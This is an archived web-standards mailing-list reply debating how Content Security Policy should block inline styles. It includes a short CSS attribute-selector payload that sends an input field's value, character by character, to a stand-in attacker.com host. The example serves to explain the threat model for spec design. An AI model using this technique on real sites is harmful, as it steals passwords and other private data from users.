Re: CSP and inline styles

On Tue, Oct 23, 2012 at 11:33 AM, Jonas Sicking <jonas@sicking.cc> wrote:
> On Mon, Oct 22, 2012 at 10:40 PM, Adam Barth <w3c@adambarth.com> wrote:
>> On Mon, Oct 22, 2012 at 4:50 PM, Jonas Sicking <jonas@sicking.cc> wrote:
>>> On Mon, Oct 22, 2012 at 3:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>> On Mon, Oct 22, 2012 at 3:02 PM, Ian Melven <imelven@mozilla.com> wrote:
>>>>> As part of our work to implement the CSP 1.0 spec in Gecko (https://bugzilla.mozilla.org/show_bug.cgi?id=663566),
>>>>> we have been looking at what we need to do to block inline styles (https://bugzilla.mozilla.org/show_bug.cgi?id=763879)
>>>>>
>>>>> The reason for this post is that we need more discussion among the WG (and possible clearer guidance in the spec) as to what
>>>>> threats blocking styles is intended to address and what threats are considered out of scope for this
>>>>> restriction (eg if it's intended to stop data exfiltration).
>>>>
>>>> The main threat we're trying to protect against is attackers who can
>>>> inject markup into a document using CSS3 attribute selectors to steal
>>>> passwords (and other data) store in input element attributes.  Also,
>>>> we're worried about future evolution of CSS increasing this risk.
>>>
>>> Do you have any pointers to how this would work?
>>
>> I couldn't find a good reference, so I'll try my best to explain.  The
>> underlying problem is that CSS3 attribute selectors are too powerful.
>> Consider the following document:
>>
>> <style>
>> input[value^="sec"] { background-color: url(https://attacker.com/q?sec) }
>> </style>
>> <input value="secret">
>>
>> Using <style>, the attacker can determine that the input element
>> contains a word that starts with the letters "sec".  Now, imagine
>> doing this one letter at a time.  After around 26 guesses, the
>> attacker can determine the first letter "s".  Then he or she works on
>> the second character by checking "sa", "sb", "sc", etc.  In this way,
>> the attacker can figure out the full value of the input element.
>>
>> Using other tricks, the attacker can actually do many of these queries
>> in parallel, but hopefully the above approach gives you the idea.
>
> I see. So in this context we are assuming that the attacked page

You might not have completed your thought here.

>>> Why aren't we also worried about phone-home attacks where an attacker
>>> can cause a network request to happen where the URL contains private
>>> data from the page. I.e. the attack from:
>>>
>>> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html
>>
>> That's an entirely different sort of attack, and one that is no longer
>> possible in modern browsers because we've fixed it.
>
> How?

For cross-origin CSS loads, browsers now require either that (1) the
style sheet has the proper MIME type or (2) the style sheet parses
without errors.  In an ideal world, we'd require (1) all the time, but
adding (2) was necessary to make the change compatible with the web.
We can check with Chris, but my understanding is that every browser
does this now, including IE.

>>> I agree that for things like background images we should simply rely
>>> on the img-src feature to catch this. However CSS is growing features
>>> which allow network requests to happen to non-image resources.
>>> Specifically Gecko allows using the filter property to link to SVG
>>> files and read filters out of those. And I believe there are at least
>>> development versions of WebKit which allows linking to shader
>>> programs.
>>
>> Generating network requests isn't the issue.  The issue is being able
>> to use advanced selectors, like CSS3 attribute selectors.  We're never
>> going to plug all the exfiltration vectors.  It's not even worth
>> trying.
>
> What are you using as basis for saying that "generating network
> requests isn't the issue"? I agree that the selector thing is also a
> problem, but that doesn't mean that the network request thing can't be
> a problem too.

Sorry, I didn't mean to be presumptive.  There was a discussion in
this working group that lead to the restriction on inline script.  I
might be misremembering, but my recollection of that discussion was
that it was focused on the CSS3 attribute selector issue and not on
trying to stop all network requests.

>>> Simply relying on default-src doesn't seem great. Maybe treating those
>>> as style-src would reduce the attack surface here.
>>
>> We're talking about entirely different classes of attacks.
>
> If the different classes of attacks can result in the same thing, i.e.
> that private data (such as passwords) can be stolen from a page by
> using CSS to cause network requests to send data to an attacker, then
> it seems appropriate to discuss both classes, no?

Can you describe the attack you're worried about?

>>>>> Additionally, we could really use clarification in the spec as to what methods of applying CSS should be blocked in a CSP 1.0 compliant UA
>>>>> (and this would hopefully lead to more consistency across implementations).
>>>>>
>>>>> Previously on this mailing list, we discussed blocking mechanisms that apply CSS that
>>>>> are equivalent to inserting and parsing a <style> node in the DOM.
>>>>>
>>>>> Specifically, we considered the following list of ways to apply CSS:
>>>>> (from https://bugzilla.mozilla.org/show_bug.cgi?id=763879#c26)
>>>>
>>>> I've taken the liberty of re-arranging the order of your list.
>>>>
>>>>> * doc.body.appendChild(doc.createElement("style"));
>>>>> * doc.body.setAttribute("style", "...");
>>>>> * doc.body.innerHTML = "<style>...</style>";
>>>>
>>>> These are blocked.
>>>
>>> doc.body.style.cssText also belongs here, right?
>>
>> No.  Nothing in the CSSOM is blocked.  Only things in the DOM.
>
> Why. It makes absolutely no sense to block
> doc.body.setAttribute("style", X) if we don't also block
> doc.body.style.cssText = X. The two are just different syntaxes for
> exactly the same thing. Both set the "style" attribute of the element
> to X.
>
> Whether something lives in the CSSOM spec or the DOM spec is just an
> editorial different. Users will be just as sad when their data is
> stolen.

It sounds like you agree with Boris.  Are you happy with the proposed
change in <http://lists.w3.org/Archives/Public/public-webappsec/2012Oct/0058.html>?

> If the *only* thing that we are concerned about is the password
> stealing attack, then there's no reason to block any form of style
> attributes since they can't include rules which read attribute values.
> Only inline style elements would need to be blocked.

This issue is discussed a bit in
<http://lists.w3.org/Archives/Public/public-webappsec/2012Sep/0068.html>.

Note, in particular, Boris's reply
<http://lists.w3.org/Archives/Public/public-webappsec/2012Sep/0069.html>:

[[
For now.  Until people add selectors to inline styles.  There have been
several proposals for that.
]]

>> The reason is that the spec has to draw a line somewhere.  The line
>> drawn in the spec has the following two advantages:
>>
>> 1) It is consistent with how we treat inline event handlers for
>> script-src (e.g., we block setAttribute("style", ...) the same way we
>> block setAttribute("onclick", ...)).
>>
>> 2) The line doesn't distinguish between DOM operations performed by
>> the HTML parser and DOM operations performed by the page.
>
> We should draw a line based on what types of attacks can be launched,
> and how likely it is that such attacks will be successful.

I agree.  However, it's also important to draw a conceptually simple
line because we're asking developers to understand where we've drawn
the line.  From this thread, it seems clear that the line in the
current spec isn't as simple as I had hoped.  :)

Hopefully you're happy with Boris's proposal.  If not, it might be
more productive for you two to hash it down and make a joint proposal.

Adam

Received on Tuesday, 23 October 2012 19:03:24 UTC